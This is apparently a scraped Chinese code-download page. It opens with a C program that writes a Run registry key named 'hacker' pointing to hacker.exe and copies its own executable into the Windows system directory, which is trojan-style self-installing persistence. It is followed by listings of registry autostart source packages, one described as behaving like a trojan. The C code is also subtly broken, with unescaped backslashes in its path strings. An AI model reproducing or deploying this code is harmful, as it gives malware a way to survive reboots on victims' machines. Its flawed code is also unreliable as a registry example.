#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software\Microsoft\Windows\CurrentVersion\Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\hacker.exe",25);
if(ret==0){
printf("success to write run key ");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d ",ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\hacker.exe"),1);
if(ret)
{
printf("%s has been copyed to sys dir %s ",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}
分享到:
相关推荐
压缩包内共有43个VB操作注册表的源码,极为实用 包括: 进入winxp前发出警告 ...注册表随WINDOWS自动启动 RegQueryValueEx读取注册表的数据 RegQueryValueEx读取软件试用次数 …… ……等共43个文件夹,43个源码实例
石志国的计算机网络安全教材的源码,略加了修改。 主要功能:运行后,当系统打开txt文件时,会启动一个本进程,类似木马或病毒的行为。 -->注册表操作,获取当前进程的目录位置两个操作。
关机时刻写注册表自启动这个是很经典的例子,大家做软件可能用到,欢迎下载
C#自启动源码 简单的实现自启动方法 欢迎下载!推荐下载,就一个文本超简单的实现 删除注册表实现不自启!注册注册表实现自启!一个方法搞定!欢迎下载!
c# 模拟操作和处理SandBox沙盘的源码 包括安装和卸载 访问注册表 参数化启动沙盘等操作
注册表随WINDOWS自动启动这个是在VBgood找到的源码,传到空间做个备份,
内容索引:VB源码,系统相关,自动运行,开机启动 Vb添加程序到注册表开机启动项,指定下次开机时自动运行的程序,简单的操作注册表,更复杂的操作也是基于此,供初学者参考。
修改注册表的方式实现程序开机自启动
开机启动程序C#源码,修改注册表方式。开机启动程序C#源码,修改注册表方式。
VB自启动注册表修改
ring0下更改注册表实现指定程序开机自启动
自启动管理源码带模块 带33个皮肤 和注册表增强模块
随机更换桌面背景,背写入注册表,自启动,c#windows编程源码,绝对可用可学
添加程序开机启动项,Vb操作注册表的源代码,指定下次开机时自动运行的程序,简单的操作注册表,更复杂的操作也是基于此,供初学者参考。
通过写注册表实现开机自启动的C++源码,包括删除自启动方法。
易语言系统启动项管理源码,系统启动项管理,填充列表框,枚举服务,服务回调,回调,注册表启动项,注册项分解启动项,注册表分解启动项,枚举注册表启动项,枚举目录启动项,加入文件,菜鸟老大_枚举注册表子项,glGetError,...
一款内置了提取图标、打开程序、显示程序信息、读写INI文件,读写注册表,Winsock等简单的技术的...增加了注册表启动项管理功能 5.增加了屏幕分辨率调整功能 6.修复了部分出错代码 7.增加了自动读取当前日期功能
本软件解决开机时软件太多,影响开机...删除软件运行后产生的注册表项:(保存bat) reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v thenstart.exe /f reg delete HKCU\Software\ThenStart /f
易语言删除注册表学习源码系统结构:易语言删除注册表学习源码,删除注册表学习 ======窗口程序集1 || ||------__启动窗口_创建完毕 || ||------__启动窗口_将被销毁